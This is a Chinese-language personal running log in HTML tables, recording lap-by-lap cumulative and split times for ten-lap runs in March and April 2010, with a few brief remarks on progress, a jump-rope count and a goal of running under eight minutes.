<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:40</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:24</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:13</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:03</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:54</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:45</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:35</td>
<td align="CENTER">0:00:50</td>
</tr>
</tbody>
</table>
<p>20100330</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">每圈用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:51</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:36</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:38</td>
<td align="CENTER">0:01:02</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:19</td>
<td align="CENTER">0:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:14</td>
<td align="CENTER">0:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:05:05</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:59</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:50</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:46</td>
<td align="CENTER">0:00:56</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:37</td>
<td align="CENTER">0:00:51</td>
</tr>
</tbody>
</table>
<p>20100331</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:40</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:27</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:26</td>
<td align="CENTER">0:00:59</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:16</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:17</td>
<td align="CENTER">0:01:01</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:05:08</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:06:10</td>
<td align="CENTER">0:01:02</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:07:01</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:59</td>
<td align="CENTER">0:00:58</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:47</td>
<td align="CENTER">0:00:48</td>
</tr>
</tbody>
</table>
<p>20100401</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:44</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:30</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:21</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:10</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:03</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:53</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:48</td>
<td align="CENTER">0:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:39</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:39</td>
<td align="CENTER">0:01:00</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:29</td>
<td align="CENTER">0:00:50</td>
</tr>
</tbody>
</table>
<p>20100402</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:55</td>
<td align="CENTER">0:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:52</td>
<td align="CENTER">0:00:57</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:47</td>
<td align="CENTER">0:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:37</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:31</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:05:21</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:06:14</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:07:06</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:58</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:37</td>
<td align="CENTER">0:00:39</td>
</tr>
</tbody>
</table>
<p>20100406</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:39</td>
<td align="CENTER">0:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:26</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:16</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:06</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:57</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:48</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:42</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:33</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:24</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:16</td>
<td align="CENTER">0:00:52</td>
</tr>
</tbody>
</table>
<p>20100407</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:47</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:37</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:29</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:18</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:08</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:56</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:41</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:30</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:17</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:06</td>
<td align="CENTER">0:00:49</td>
</tr>
</tbody>
</table>
<p>20100410</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:37</td>
<td align="CENTER">0:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:18</td>
<td align="CENTER">0:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:03</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:48</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:34</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:23</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:13</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:01</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:51</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:39</td>
<td align="CENTER">0:00:48</td>
</tr>
</tbody>
</table>
<p>20100411</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:42</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:26</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:14</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:02</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:51</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:42</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7+8</td>
<td align="CENTER">0:06:19</td>
<td align="CENTER">0:01:37</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:09</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:56</td>
<td align="CENTER">0:00:47</td>
</tr>
</tbody>
</table>
<p>20100412</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:40</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:26</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:18</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:08</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:01</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:53</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:45</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:35</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:25</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:18</td>
<td align="CENTER">0:00:53</td>
</tr>
</tbody>
</table>
<h3>20100413</h3>
<p>现在跑步都跑出感觉来了，不跑步倒是不习惯了。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">每圈用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:43</td>
<td align="CENTER">0:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:28</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:16</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:05</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:57</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:48</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:38</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:27</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:18</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:05</td>
<td align="CENTER">0:00:47</td>
</tr>
</tbody>
</table>
<p>至于之前的一些记录，改日更新：20100330、20100331、20100401、20100402、20100406、20100407、20100410、20100411、20100412。</p>
<h3>20100409</h3>
<p>补充前些日子的数据，由于每次跑步完了以后就基本上收拾睡觉了。所以更新不太及时。</p>
<p style="padding-left: 30px;">20100322</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">每圈时间</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:40</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:28</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:19</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:12</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:03</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:57</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:44</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:35</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:21</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:59</td>
<td align="CENTER">0:00:38</td>
</tr>
</tbody>
</table>
<p style="padding-left: 30px;">20100323</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">每圈用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:36</td>
<td align="CENTER">0:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:16</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:01</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:47</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:33</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:20</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:06</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:05:50</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:38</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:25</td>
<td align="CENTER">0:00:47</td>
</tr>
</tbody>
</table>
<p style="padding-left: 30px;">20100325</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">每圈用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:38</td>
<td align="CENTER">0:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:19</td>
<td align="CENTER">0:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:06</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:52</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:40</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:30</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:17</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:05</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:50</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:30</td>
<td align="CENTER">0:00:40</td>
</tr>
</tbody>
</table>
<p style="padding-left: 30px;">20100326</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">每圈用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:34</td>
<td align="CENTER">0:00:34</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:14</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:01:58</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:44</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:29</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:18</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:08</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:00</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:49</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:34</td>
<td align="CENTER">0:00:45</td>
</tr>
</tbody>
</table>
<h3>20100320</h3>
<p style="padding-left: 30px;">跑完步跳绳感觉要比没有跑步前跳的更多.3次跳了124下.</p>
<p style="padding-left: 30px;">但是跑步的时候没有跑到8分钟内.争取21号跑到8分钟内.</p>
<div style="padding-left: 30px;">
<table style="border-collapse: collapse; width: 144pt;" border="0" cellspacing="0" cellpadding="0" width="192">
<col style="width: 48pt;" span="3" width="64"></col>
<tbody>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt; width: 48pt;" width="64" height="20">编号</td>
<td class="xl66" style="width: 48pt;" width="64">时间</td>
<td class="xl65" style="width: 48pt;" width="64">用时</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">1</td>
<td class="xl66">0:00:39</td>
<td class="xl66">0:00:39</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">2</td>
<td class="xl66">0:01:24</td>
<td class="xl66">0:00:45</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">3</td>
<td class="xl66">0:02:19</td>
<td class="xl66">0:00:55</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">4</td>
<td class="xl66">0:03:19</td>
<td class="xl66"><strong>0:01:00</strong></td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">5</td>
<td class="xl66">0:04:12</td>
<td class="xl66">0:00:53</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">6</td>
<td class="xl66">0:05:10</td>
<td class="xl66">0:00:58</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">7</td>
<td class="xl66">0:06:07</td>
<td class="xl66">0:00:57</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">8</td>
<td class="xl66">0:06:59</td>
<td class="xl66">0:00:52</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">9</td>
<td class="xl66">0:07:33</td>
<td class="xl66">0:00:34</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">10</td>
<td class="xl66"><strong>0:08:06</strong></td>
<td class="xl66"><strong>0:00:33</strong></td>
</tr>
</tbody>
</table>
</div>
<h3>20100319</h3>
<div style="padding-left: 30px;">
<table style="border-collapse: collapse; width: 144pt;" border="0" cellspacing="0" cellpadding="0" width="192">
<col style="width: 48pt;" span="3" width="64"></col>
<tbody>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt; width: 48pt;" width="64" height="20">编号</td>
<td class="xl66" style="width: 48pt;" width="64">时间</td>
<td class="xl65" style="width: 48pt;" width="64">用时</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">1</td>
<td class="xl66">0:00:37</td>
<td class="xl66"><strong>0:00:37</strong></td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">2</td>
<td class="xl66">0:01:24</td>
<td class="xl66">0:00:47</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">3</td>
<td class="xl66">0:02:15</td>
<td class="xl66">0:00:51</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">4</td>
<td class="xl66">0:03:04</td>
<td class="xl66">0:00:49</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">5</td>
<td class="xl66">0:03:58</td>
<td class="xl66">0:00:54</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">6</td>
<td class="xl66">0:04:48</td>
<td class="xl66">0:00:50</td>
</tr>
<tr style="height: 15pt;" height="20">
<td class="xl65" style="height: 15pt;" height="20">7</td>
<td class="xl66">0:05:46</td>
